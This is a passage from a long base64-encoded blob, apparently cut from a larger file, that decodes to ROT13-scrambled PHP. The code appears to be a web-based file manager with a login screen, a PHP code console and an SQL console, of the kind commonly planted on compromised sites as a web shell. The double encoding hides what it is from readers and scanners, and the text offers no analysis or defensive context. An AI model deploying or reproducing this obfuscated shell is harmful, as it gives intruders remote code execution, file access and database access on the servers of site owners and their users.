xR0pDcmI5VUlFczg3MkI5a0lpMy9XYWVQbHRWSDQwNlgvZG9lb0MzSWtvL2R3UTgrQkZBZ1ArSUs2RXZIbGVKY0tXUTJucmFzbEUzS2Y5QTN1NWVTVmo2Uk5MRGtmTlZYWlNrK3BzRnQwcXpTeCtkV25EbFRoMGdpakcyWGpSTXVOQURKTVRJdDNZRjgzcmhjWjJTNWx2UXhSOWpRQ003NjJpRHNJSFd1VlhEN0dRbko4R3ZucFBCMnlBYXE2a3d5TGljejQ5czVTaEFNK0tPa2NiYTVPR3NKZEZtQTROUllOU1lkK2pGb1ZZU3FLdHRoYnZvSHc3K2loMEVYVDl3ckxVeDZoVlJLVmJmRE1NdkFKTGhERkRER0pTaExSSTNucEtHc2pxa3ZnWGVETmpoekx2TEIzV21QeElHbFFKamZ0K1FJTUU5TEFHWTNhZEFRYVVrQU9kMnMxenAyVjFOdGFOVkVFc1RvSURCbnpyYWxEN25sNzRmVjNtK1NKSlU5bnZCZXlQU09CbmRkWWJWbHZ3aitMSlVKOWgrUFhvVGZWcDAvZjJLMG9TY1VaQUhSaFhNSURQLzJrMHpaMDBDOHZxc05OcmdtMlJHalQ1c244N0NhYmZodUxPQmxiOHBnZ1pXSis4M3F5aS9nVnkzUytvNFBMbGMyR2tqMklIak5OTk5OUnlTR3hGaER6UFAiKTsNCn0NCg0KLnN2eXIgew0KICAgIG9ucHh0ZWJoYXEtdnpudHI6IGhleSgicW5nbjp2em50ci9jYXQ7b25mcjY0LHZJT0JFajBYVHRiTk5OTkFGSHVSSHROTk5PTk5OTk5EUE5MTk5OTnM4Lzl1Tk5OWEcyeVFEMU9EblQ5MG8zQWJvM050RkhBUVZVT2xvMk1jb1RITk5Vd25hSUFhSVNDY1N3MzMzaUVQRjR2TnlSZ2lIdUhWVlNXUHY0Tkh4RkxkVkR4REZidHVicXhJSHBSRUVISFJUOHZ0dk5CQndiUFpTSVJmUVZiWDJOc3hWblhCdDZCVnZmZTc0S2h3bjluODkrb0EvZUtLQ2hyZjg1Mm1tanNOUE5sSkZRQUVBTE5aZEhWclJyUFFrOEdUNHJEaERWUlhXVU5OUk52bU1QU20vRlpPTkN1K0NRamVWZk5VaXROT3JBWllQTlFOR01pTlpPbFUvai9kRGN5cE5MUFJOcE8weEd1WVBWTkhOUk82d3hYek5ST1ROTFBxelBNR05YTlJOVFFZTDJZd05TTmdOVE5hcytvR05WUHErV3k3TkRPb3lQUklOblBFTlBOR01MdVJOVHQ3TlhtQ0liY1NOU3RqTk9FekY4RDVOQXRnTlFPV0kyTVZOWVAzTlpRQlJOaGxOTnRaTlFPRXZWSGNOTkU3TlRRVlZsQTROVkZNTk9FVDh5cDg4RmhoUkJwZE5OTzR6b1Y4aEZENUVMU29QUDFrTzFxS1l1NGJteHhLWGtEMkxEV3V6eE5oamF6TVRHWE9BTi90ODhqTk5YUEVTRVV0dC9DOXJaNEJlZjdCQWI2MlF5OGc2ZThUL2xXdkxoQys1cCtlcFJOTk5CUzBzZ1UrWVArbVRiTjdPYk9nL2RWeTd0RWJLdGh0cXNyWU1lVkNEWUhOYkJhbkkvQWorVTQ4Q1JKdXhZYU0yckt4NUF1WGtSV29McGNLc3M1YWp5L05JLzFmK0s0OC9DczE0WTd2V1ZSbEtMU1VPQ3d0amZtMEdYSHBtNVZXdVRZcDViOVUvWXBZLy9qcTBsWVJGSlg1SlBiSDQxUkZwTDVSemJtbVpkSHZ2SFhGWHBIeTBpOXg0ZzhmK2paKzNtSE5mVGIrTktoRVludXFMakMyRmxwREpVR040aXBOTkNYN284VUhYTnRRdFR2UTRwOTMvKzgvL0hydFdEUE5NeHpGcEROTkt4RHhZeUdYZm0vVVBOTk5FWFBPWGVPT1QvR09UUG1OT3VtT09xbU9QL2t0QWJFUFdaR1BEdU9QUHpGTlVVV3RYbmxQRHZ2VG1vTnFYek5pMVJOcUFaT0VuVm5HcE40aGp5SjRRdzFqUS9jdVBXN09YWWxPUERFT2xOdEdMRlVudk5TdnZ5dHd3dHRLekxLNFZwU1ZPT1hZV1BRV3ZPRUVWeGhFQUh0a0hiY0hWU0lWVXNWOXB0VjV1MWtUaGNSN2xOTmx0aWxUaVJwa3lWVGxIRzNIUVlJUWhudDNUYkVUYnRpRE1VRGt6YjhKYldpRHBlRG5DTGoyYnJzRGQydEMyYjgrRDhwampCdExPbUNSb1FOaGtmQVBmR3RmUE1Bd2w3UnZlTmxla3VkaklkalFoNGExTDgra3FqREZ0SEtOUEdMUnEwVnRMRTVPRlN1WkpSN0xGWHR0VVBEMFJxYldBanhRdVNVUFdsWEdkUmgwV2ViRStwRExMd1ZrdTF1VllQQ0pSYjhHWWtPN3ZSQ1JBbERGdkhabFc3ekROeHprY1NHRlJnV1QwejVGVit4ZmRNZjBGT2J3eDhhbk1UaGxPbXpIWVBOZWxWS3hhckdRNVFDeFQrRHU4eWZYYUpXTnBuRzRIK1ZiSGZjZEZ1YXlSQkgwNURNeXpRV09JbkJuSGcyYmJJREVBTDluRGQydWd5WGlITHJiUm1FMXp3YUF0a01XRjZKZ2JjS0dUenRLbkNxY2UrdTBodVVxeUU1Qnk5T0swZmljRSt2SzZOQzBxampBdXVKUWs0dWFYT3pvVE5wTE1reTNUWCtMR1hMTTA0Zk1rMURqQW1VZXpCck1RNXlpSUl0ZGd2YzhTTVVYUGNJWHlGbklUbGJpSVh6ZGNkZXJkdGdJODFLWUlWK2NLeUE5ZXhNSVoxQ3dkRGFIeWRnSWRjMUQ2MVpvSDJyY0I2dlVkenJibzFEL2NVNU0vTHhUSnBBWmowOVFjU1R0Zkkvd2laTHRQMlpNZjN0ZlZKZkFkNE0xdEdLUldlVUEyS2syWGVoTC9FMjd2bTJkZG5SNURtQVhaMXJtSGlCSE13OFU0NXVrK1drMEd0YWFYWHJLODM2WDN1R2lYclZjVDZMMEdZeGtNSWtlZGNuS3l5dmVGWGdFZDBzZWlHbmg3bnJxY2UxU2gxYTd0RDVPazBiYUtQcVVNNC9CT00zYUg5eUczbnBYY2tNQUNHZTFldjZkbjZIb2JvZ1JxNzloYys2TGFlNXJ0VzVabzZzcnJvM2ErdWs5WS8xSC9KMzZjL0lVUVN0VGZqanhPZ2ZabXV0OGtHSWtvbWpxWThzbzhJU1FLcEFORDZJdXlKVEs0TEZFaHFSOGI5SVR3SExDd1RhVEtCWng0MjNUb3Bud1d0THpWRk1ZR3JjQTdjY0ZHb3p6WG5MN0dRZ1prODNabW5ZQTFjeDF6bTBrMW1ZYXorcm8xNWlzZzJPbnJTYmZnZHYyaFRJV2ZoRW5jeWFoZ2VraHVJYjVKbklMSUljcWYwbmdhbjB5MWVoZ2g2cEVjN3lCeDA2ZWFnTWFqN1FrZ2Z6MmRvcE1mQktMT2doaGd6MjJzSlNhTHVxYWc4SmhqKzZHaU1BOWhhMkEvRzBVUUxzTVFkZnFKdTErcDdFbFNRY0pCZzZubWNtaEMzM1M5V29jWTJxTG1rUUMyUUN3Z3VDWVhwRWNhSUJvMDBxYVMycjVwNENtdlZoV0Y0WVlZY3ArWWNmb2tnM1ZpckVYcUNJa0tyUzYwaUpxejdCb2poMmIyNi9oQWg1Yzdic3BhOGowYWx6ckpHQW0wWkNWRCtPRTVxUi9QNStJWlRpc2VVNUNEMCtPTTdLYVZsOXdZNVNLZXFyamc2STNkaXF1N2twKzl3NWxhK1orNG1qMzN3WXJKSS9aQThQM2xZc1lHOEFpYXkrUzMwQS9WLzl4LzNlLzBEUGF0UEhPTWpCV3RIVE9Kalk3K1VjOFZvK0JDbWVvTXNubDJyMU93WFA1REVJT3c0WGd0aEtPZUZTYmxCbERlRlUzNTV3QnhwNWNRYklEc2h3SjBOcXU1elRZajM0Wlc0SlV1SXJUQzQ1anZTdG4wR1RLQUtzRTNSQW0zMEc2RVdNUjNjZ2FaSDg1ZWwxWEFGYitkdjVkQ0FiM2h3RjZDOExoTXlhWjFJdnFKUnlmRmtqNVl2ZGhBejVmaWcvODdzQlU0YzN2UCtBN1M1dGlsUzFqcm5VQmppRlNja25jWXVWZkJjTU5HVnVCQldHakRFTmRkT25aV3NWR3FsSkJQYWFQVXBXYVZ2L0VBZ1RWMlJBcFh1NUI4eHRkR0tkRjdXVDhBS3h4a0dCeVlCSjV1UHJjeFlrWlFIbXF6bWRyU2NjMlZUMGxDR2Q5WkxCRnhNT2tEZGJ1R01CMk0rY2E1ek0ybDZreXVvWStrSjZZZ2w4cnlEc1duN0JEZU5JTVlEZDJEZG9iSVNiYjFsYlVmenF5STJuL21MYVhCTW5lYXZpQTdwbG1sZ2hEQTVtaWEvL2dSZlZGNE1YMmNMTVlJbDBxSkJuOWVUYjVmd2trcnFmWDRrSFNYNE1KT2RqOGhWZDJYejNJRzZpZ0k1cmhzZTB6cngxZXRJN09sYllPZ0RTZTZqZ0lQaEpTc3JpcDErMXFHMXRpSnErMUxzZFRhRWYrU0x6WGV1R29TNXBJczl0YjNVd3lUNHFpbGUrTTNXRjBkbmlSaEpHQ01nV3o2cm9yWU01b1FjbmR5K25LUXo0QTJxZDBRcTlKZ0IzMTl4S29ZNXNBWEFoN3Q3TVFobkIvQ1l2OE1uc1dtZjA3QzFGeElDRUgreUQyN2dZcWdKVUsrVDdFN3VnN2lDTDA3QUtvSjdtMy9HN1dpZ2dJTklJQTFKb0lNc2dXKzdDM0M2NldkaGE0eWlnZ0tuMUJvS1Vna2pDRk4vMFVWajYyMTdhSDFFM0ZDSUVGdzlMZTYwcEJraysrL2MzaXFsMEFBdDFJd01tVDR2QWpFVWF4NnNwVzMvcHJRR2VucWJrN2VCUlUwazkyVUpwcVkyY1B6aVhuRWNnR3ppZ29MeWg2RzhqKzBxb2QzYWU4RTlmc1E1ajBDU3k1RmlBSGxKYW42TFlHeDJzbG00bHF5TTE5c3Y3NTNUUW9iZU03NTJDQjMyYkNvKys2UlVHdTB4Sy92K3A3aVFpQktDWDRxQ1hsMitIR0k3dUt6ZDg2SzIzZHFCYjgvY0NHRzhyN2FZaG5lZXlwbjdhaHJlMjFyMm8zNkVockE4N3E5WTE1OEVvLzFnSnJCRzNxaXNBNm8vc1M5L0tzU2cxK3B2czltZmg3MktwYTdkMjhHN2tzOVJRZ0RxeVEzTHNJQzFpKzNBd2kzVTlkalVydDg5VXBFL3BUdUxDQy9jVTF3ajlRT0wrTXc4aFRRTG9lYXd0K0JHYXZDM1k5NnNsYUQ4OXhtbG5yUy82di9maGhTa0xpc2l3STY5c0IwTXdFYk1zbHk1Qi9vS2x5L3JlTjZremkyOG9Qa3U2K2xLdG1aSTcwSWlpZ2pLc3BxazNpYjk4Q0crRThWVThiLzJ3NWZzSUcwWHM3eGt6R3gvOFJONXdtL1RabVlxZk5OTk5UTHhnVUVOUS9OQzhOLzZQOWM1Wk5OTk5XcFJ1TXBqTk5Qa1pOTk5mR05EUG5hT3ROTk5OVXFSeUFFRHNwUE5qVFpHdDVLUlJHTk5OTzh4eVJESUQ0bDNKRlpKL0dET3ZUYSsrN2ZrM0txcVpOVnowYXhQYnVFRHZXUUZSa3FOeS9OR1JqVkNSbXhTdkxMVEV5bFpsVGtaWVJrU3VPbGw5TlBObm4wdExhUWJ5OWs5UUx2SWY0NnFDYXgvais5OTczYXRRVy9pNysrbE5WUHcrc1YwVU4vNU1tUWg4OW13ekJ3YjZsc2UvL2pOV09lOXI3VDRMdWtKRlBFU1U5MDJkSU1xYUxrM1M4UVZESlZaZmwxY1ZSS2tGYlpzSVc1MFNyUVhIZXBUcGpOSVBOQVIxY2dJZGJYZGRYWm5vK2VpTXVpWm9hMWwvanQ2cVZnVm5WTlROT0d4NUJGV1ZSOUU0TlJIU0lwcDdJQ3M5MmpDb2d5VW0zUEVnK3dkY0ZCMnYzMjhFa0tBZ3J1THRWY2VLQitCQW1leTMrdGdSTlJKMFB1Zlp1Sk1MMTd5NVF3QkswMGtoaDdibTVSRzN4SHpyd09nck5HZHFRVVpyalJYOVBDUU4vc1pJZjZrbm8yM2dhVmkyVXQvUzQzV2w0OTR0QVRVNTRGc3NUT2RzZXcweW5GM1VRRE1kenVUVFZKOEVKa3NzYStRaTI1MWcrZ3IvRTNyYXVSSEZKSURBVGJrUzVhaEFLa1hYVGVqc2lQVW9pNFg4OGp6dlc2YVhqd0V2d1haVkxEbXpzVjRpYkVWRHYzaE0zOW01b3o1MG1uVUtkNGk0MUxRZHF0dHVGeWJ1bU5abHpCcXFpN3pUWkhXTXlWOU1kalIwVWRidjFTMTV1V0llZ1BrcitOeHRMdXRHSlZmTXRidHRFakljN0xKUGVsa3Z3U0pObFRObHJWSVhicGxZSjFiK2I2aHBZOFV6cm00UWtLKzhxTllUN1pySUhOTk5OTlJ5U0d4RmhEelBQIik7DQp9DQo8Pz1zel91YnpyX2ZnbHlyKCk/Pg0KLnZ6dCB7DQoJb25weHRlYmhhcS12em50cjogDQpoZXkoInFuZ246dnpudHIvY2F0O29uZnI2NCx2SU9CRWowWFR0Yk5OTk5BRkh1Ukh0Tk5OT05OTk5ORFBOWk5OTk5iWUQ5R05OTk5PVHFPR0hSTk5YL1ZBakpYNkROTk5xU0RHU0VTN3IzZy9zMzljVytzK3BXbndJOGQ2cmFjeFRWei9mU0IvKzJCMzkzcDVob3ovZmtvcTI5bHZ6cWFyU3Q2NUJHeDJtYkw2aFV2MW1ORjFwZVdmVWYyYWx0YjNBZW8yWU9LZUxnejJjNU4vK3VLY2JFZGNYQnhqZXY0NitpZTBaVDM2TGZtNmh3Y3pWNk5hbUhsalkrL3pLSUZ6Vk9BOG9qancxSU9sWVRtbjFNVzBBUUR3TEZPLzlBd2pNNlBqSE5ma3gwb2VNbEpqN2N6VE00TjZZZ3F4VXFzLytBOGxiajI3bzVKODdFQVlNWS8yb3ZDN2pOTi8vVFd5NXJLNEFzTGZubll0YzZ1MW8rZy8rNkU2OFNyODlscHZ6TXEvaERpM2U5QWhjUE85OUkyNW4xcElXb29hVXVCLzhrRitaT244c1FqdjJXdjQ4ZHYvK2RCcUlWbWYzNGsvL1RCS1ZtTGM1RkMvZmt0ZGN2VnBjKy9mdkRjcHpjZmdubGZtRk5BaFhYRzlDRzA0aFl2alZ4bDhZcVIrZklKaWRuejhyL2lZNVZNK2V5VThwQXQwOFBwbTducThpWWw5WWdIMWRsSGhNNCtlNTEyKzhmL2pIY1kzcTNxazdKMXNUQW4vODlNMnBzVStmNWE2QndibzFMZ2Y3WG0xOXNLalZ0NGMxcUErQ3c0bVlFMCs4Y3E3ZmdldVhOZi85dXcvOU9JMVhnc2dZRjFhYzJxTHlXRk1TSUk1WUVKdVJTTzVldU0vOVdkMFVnRy8vUEZ4VmRXNlg1UStZQUFveUlJaXdaMDQ3TVptN3IzMWtSVC8vLy9nWHRoNmpOTk5XZzBIeDVHLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL2pQSUljWExOTk5OVEtFU0pVRUdvMk0wcTJTbE1ET09NVDl2TUZPV29KU2FNSVd5TEpFNXBweXlDTk5OTkFNV0VSU0hYU0F3elhKdkNEZk1aWmt2emZkQ1hjTm8yWmZOTUF3WUJqeG10dEl6V0xhbGNmL0RSNTlyWFBSZ091bkxTRXN3TWhHdVUyN3lMNnhkT2tMYmVGL0JaUDVqdlVNeHkyRFBQSUd4QStnZWdTdzRNRmNaem5qUVNPUTB5UGJsYW1NT3kxYVZXdzU1UnlPTjA5Y3FpcDlvaEcxRkxYTE9KajFEVlAwYkFMZndlU1VXY0Z4aUVMZk9YUFBvWjlVWUE5Z0plb2Rhd0hIVE1UMU51VGhWS01FbWNEeTNuVGpRMk8ycE1NMm1SYlk3SitoNmRsTmhhTUtWQlppRGVTbHhkakd2U21PREFCS3c0RFhtYk5YbW53Z0xWRGpOeWlnY3kzSTVwOFpOTk5OTkZISUJFWDVQTFZWPSIpOw0KfQ0KQHpycXZuIGZwZXJyYSBuYXEgKHpuay1qdnFndTo3MjBjayl7DQogIGdub3lye3F2ZmN5bmw6b3licHg7fQ0KICAgICNzel9nbm95ciBncXtxdmZjeW5sOnZheXZhcjtzeWJuZzp5cnNnO30NCiAgICAjc3pfZ25veXIgZ29icWwgZ3E6c3ZlZmctcHV2eXF7anZxZ3U6MTAwJTtjbnFxdmF0OjA7fQ0KICAgICNzel9nbm95ciBnb2JxbCBnZTphZ3UtcHV2eXEoMmErMSl7b25weHRlYmhhcS1wYnliZTojUlNSU1JTO30NCiAgICAjc3pfZ25veXIgZ29icWwgZ2U6YWd1LXB1dnlxKDJhKXtvbnB4dGViaGFxLXBieWJlOiNRUlIzUjc7fQ0KICAgICNzel9nbm95ciBnZXtxdmZjeW5sOm95YnB4O3N5Ym5nOnlyc2c7cHlybmU6eXJzZztqdnFndToxMDAlO30NCgkjdXJucXJlX2dub3lyIC5lYmoyLCAjdXJucXJlX2dub3lyIC5lYmozIHtxdmZjeW5sOnZheXZhcjtzeWJuZzp5cnNnO2p2cWd1OjEwMCU7Y25xcXZhdDowO30NCgkjdXJucXJlX2dub3lyIGdub3lyIGdxIHtxdmZjeW5sOnZheXZhcjtzeWJuZzp5cnNnO30NCn0NCjwvZmdseXI+DQo8L3VybnE+DQo8b2JxbD4NCjw/Y3VjDQokaGV5X3ZhcCA9ICc/c3o9Z2Vocic7DQp2cyAodmZmcmcoJF9DQkZHWydmZHllaGEnXSkmJiFyemNnbCgkc3pfcGJhc3Z0WydyYW5veXJfZmR5X3BiYWZieXInXSkpew0KCSRlcmYgPSByemNnbCgkX0NCRkdbJ2ZkeSddKSA/ICcnIDogJF9DQkZHWydmZHknXTsNCgkkZXJmX3lhdCA9ICdmZHknOw0KfSByeWZydnMgKHZmZnJnKCRfQ0JGR1snY3VjZWhhJ10pJiYhcnpjZ2woJHN6X3BiYXN2dFsncmFub3lyX2N1Y19wYmFmYnlyJ10pKXsNCgkkZXJmID0gcnpjZ2woJF9DQkZHWydjdWMnXSkgPyAnJyA6ICRfQ0JGR1snY3VjJ107DQoJJGVyZl95YXQgPSAnY3VjJzsNCn0gDQp2cyAodmZmcmcoJF9UUkdbJ3N6X2ZyZ2d2YXRmJ10pKSB7DQoJcnB1YiAnIA0KPGdub3lyIHB5bmZmPSJqdWJ5ciI+DQo8c2JleiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iIj4NCjxnZT48Z3UgcGJ5ZmNuYT0iMiI+Jy5fXygnU3Z5ciB6bmFudHJlJykuJyAtICcuX18oJ0ZyZ2d2YXRmJykuJzwvZ3U+PC9nZT4NCicuKHJ6Y2dsKCR6ZnQpPycnOic8Z2U+PGdxIHB5bmZmPSJlYmoyIiBwYnlmY25hPSIyIj4nLiR6ZnQuJzwvZ3E+PC9nZT4nKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmogZnZtciBicyBndXIgc2J5cXJlJyksJ2Z1YmpfcXZlX2Z2bXInKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nICcuX18oJ2N2cGdoZXJmJyksJ2Z1Ympfdnp0JykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyAnLl9fKCdabnhyIHF2ZXJwZ2JlbCcpLCd6bnhyX3F2ZXJwZ2JlbCcpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgJy5fXygnQXJqIHN2eXInKSwnYXJqX3N2eXInKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nICcuX18oJ0hjeWJucScpLCdoY3libnFfc3Z5cicpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgQ1VDIGlyZWZ2YmEnLCdmdWJqX2N1Y19pcmUnKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nIENVQyB2YXYnLCdmdWJqX2N1Y192YXYnKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nICcuX18oJ1RyYXJlbmd2YmEgZ3Z6cicpLCdmdWJqX3RnJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyBreWYnLCdmdWJqX2t5ZicpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgQ1VDICcuX18oJ1BiYWZieXInKSwncmFub3lyX2N1Y19wYmFmYnlyJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyBGRFkgJy5fXygnUGJhZmJ5cicpLCdyYW5veXJfZmR5X3BiYWZieXInKS4nDQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfcGJhc3Z0W2ZkeV9mcmVpcmVdIiBpbnlocj0iJy4kc3pfcGJhc3Z0WydmZHlfZnJlaXJlJ10uJyIgZ2xjcj0iZ3JrZyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPkZEWSBmcmVpcmU8L2dxPjwvZ2U+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfcGJhc3Z0W2ZkeV9oZnJlYW56cl0iIGlueWhyPSInLiRzel9wYmFzdnRbJ2ZkeV9oZnJlYW56ciddLiciIGdsY3I9Imdya2ciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj5GRFkgaGZyZTwvZ3E+PC9nZT4NCjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel9wYmFzdnRbZmR5X2NuZmZqYmVxXSIgaW55aHI9IicuJHN6X3BiYXN2dFsnZmR5X2NuZmZqYmVxJ10uJyIgZ2xjcj0iZ3JrZyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPkZEWSBjbmZmamJlcTwvZ3E+PC9nZT4NCjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel9wYmFzdnRbZmR5X3FvXSIgaW55aHI9IicuJHN6X3BiYXN2dFsnZmR5X3FvJ10uJyIgZ2xjcj0iZ3JrZyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPkZEWSBRTzwvZ3E+PC9nZT4NCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgQ2Via2wnLCdyYW5veXJfY2Via2wnKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nIGN1Y3Zhc2IoKScsJ2Z1YmpfY3VjdmFzYicpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgJy5fXygnRnJnZ3ZhdGYnKSwnc3pfZnJnZ3ZhdGYnKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0VyZmdiZXIgc3Z5ciBndnpyIG5zZ3JlIHJxdmd2YXQnKSwnZXJmZ2Jlcl9ndnpyJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdTdnlyIHpuYW50cmUnKS4nOiAnLl9fKCdFcmZnYmVyIHN2eXIgZ3Z6ciBuc2dyZSBycXZndmF0JyksJ3N6X2VyZmdiZXJfZ3Z6cicpLicNCjxnZT48Z3EgcHluZmY9ImViajMiPjxuIHVlcnM9Iicuc3pfaGV5KCkuJz9zel9mcmdndmF0Zj1nZWhyJnN6X3BiYXN2dF9xcnlyZ3I9Z2VociI+Jy5fXygnRXJmcmcgZnJnZ3ZhdGYnKS4nPC9uPjwvZ3E+PGdxIHB5bmZmPSJlYmozIj48dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnRm5pcicpLiciIGFuenI9InN6X3BiYXN2dFtzel9mcmdfZmhvenZnXSI+PC9ncT48L2dlPg0KPC9zYmV6Pg0KPC9nbm95cj4NCjxnbm95cj4NCjxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSIiPg0KPGdlPjxndSBwYnlmY25hPSIyIj4nLl9fKCdGcmdndmF0ZicpLicgLSAnLl9fKCdOaGd1YmV2bW5ndmJhJykuJzwvZ3U+PC9nZT4NCjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel95YnR2YVtuaGd1YmV2bXJdIiBpbnlocj0iMSIgJy4oJG5oZ3VbJ25oZ3ViZXZtciddPydwdXJweHJxJzonJykuJyBnbGNyPSJwdXJweG9iayIgdnE9Im5oZ3UiPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj48eW5vcnkgc2JlPSJuaGd1Ij4nLl9fKCdOaGd1YmV2bW5ndmJhJykuJzwveW5vcnk+PC9ncT48L2dlPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9InN6X3lidHZhW3lidHZhXSIgaW55aHI9IicuJG5oZ3VbJ3lidHZhJ10uJyIgZ2xjcj0iZ3JrZyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPicuX18oJ1lidHZhJykuJzwvZ3E+PC9nZT4NCjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel95YnR2YVtjbmZmamJlcV0iIGlueWhyPSInLiRuaGd1WydjbmZmamJlcSddLiciIGdsY3I9Imdya2ciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj4nLl9fKCdDbmZmamJlcScpLic8L2dxPjwvZ2U+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfeWJ0dmFbcGJieHZyX2FuenJdIiBpbnlocj0iJy4kbmhndVsncGJieHZyX2FuenInXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+Jy5fXygnUGJieHZyJykuJzwvZ3E+PC9nZT4NCjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel95YnR2YVtxbmxmX25oZ3ViZXZtbmd2YmFdIiBpbnlocj0iJy4kbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10uJyIgZ2xjcj0iZ3JrZyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPicuX18oJ1FubGYnKS4nPC9ncT48L2dlPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+PGdya2duZXJuIGFuenI9InN6X3lidHZhW2ZwZXZjZ10iIHBieWY9IjM1IiBlYmpmPSI3IiBweW5mZj0iZ3JrZ25lcm5fdmFjaGciIHZxPSJuaGd1X2ZwZXZjZyI+Jy4kbmhndVsnZnBldmNnJ10uJzwvZ3JrZ25lcm4+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPicuX18oJ0ZwZXZjZycpLic8L2dxPjwvZ2U+DQo8Z2U+PGdxIHBieWZjbmE9IjIiIHB5bmZmPSJlYmozIj48dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnRm5pcicpLiciID48L2dxPjwvZ2U+DQo8L3NiZXo+DQo8L2dub3lyPic7DQpycHViIHN6X2djeV9zYmV6KCdjdWMnKSxzel9nY3lfc2JleignZmR5Jyk7DQp9IHJ5ZnJ2cyAodmZmcmcoJGNlYmtsX3NiZXopKSB7DQoJcXZyKCRjZWJrbF9zYmV6KTsNCn0gcnlmcnZzICh2ZmZyZygkZXJmX3lhdCkpIHsJDQo/Pg0KPGdub3lyIHB5bmZmPSJqdWJ5ciI+DQo8Z2U+DQogICAgPGd1Pjw/PV9fKCdTdnlyIHpuYW50cmUnKS4nIC0gJy4kY25ndT8+PC9ndT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoyIj48Z25veXI+PGdlPjxncT48dTI+PD89ZmdlZ2JoY2NyZSgkZXJmX3lhdCk/PiA8Pz1fXygnUGJhZmJ5cicpPz48P2N1Yw0KCXZzKCRlcmZfeWF0PT0nZmR5JykgcnB1YiAnIC0gUW5nbm9uZnI6ICcuJHN6X3BiYXN2dFsnZmR5X3FvJ10uJzwvdTI+PC9ncT48Z3E+Jy5zel9laGFfdmFjaGcoJ2N1YycpOw0KCXJ5ZnIgcnB1YiAnPC91Mj48L2dxPjxncT4nLnN6X2VoYV92YWNoZygnZmR5Jyk7DQoJPz48L2dxPjwvZ2U+PC9nbm95cj48L2dxPg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiPg0KCQk8biB1ZXJzPSI8Pz0kaGV5X3ZhcC4nJmNuZ3U9JyAuICRjbmd1Oz8+Ij48Pz1fXygnT25weCcpPz48L24+DQoJCTxzYmV6IG5wZ3ZiYT0iIiB6cmd1YnE9IkNCRkciIGFuenI9InBiYWZieXIiPg0KCQk8Z3JrZ25lcm4gYW56cj0iPD89JGVyZl95YXQ/PiIgcGJ5Zj0iODAiIGViamY9IjEwIiBmZ2x5cj0ianZxZ3U6IDkwJSI+PD89JGVyZj8+PC9ncmtnbmVybj48b2UvPg0KCQk8dmFjaGcgZ2xjcj0iZXJmcmciIGlueWhyPSI8Pz1fXygnRXJmcmcnKT8+Ij4NCgkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgaW55aHI9Ijw/PV9fKCdGaG96dmcnKT8+IiBhbnpyPSI8Pz0kZXJmX3lhdD8+ZWhhIj4NCjw/Y3VjD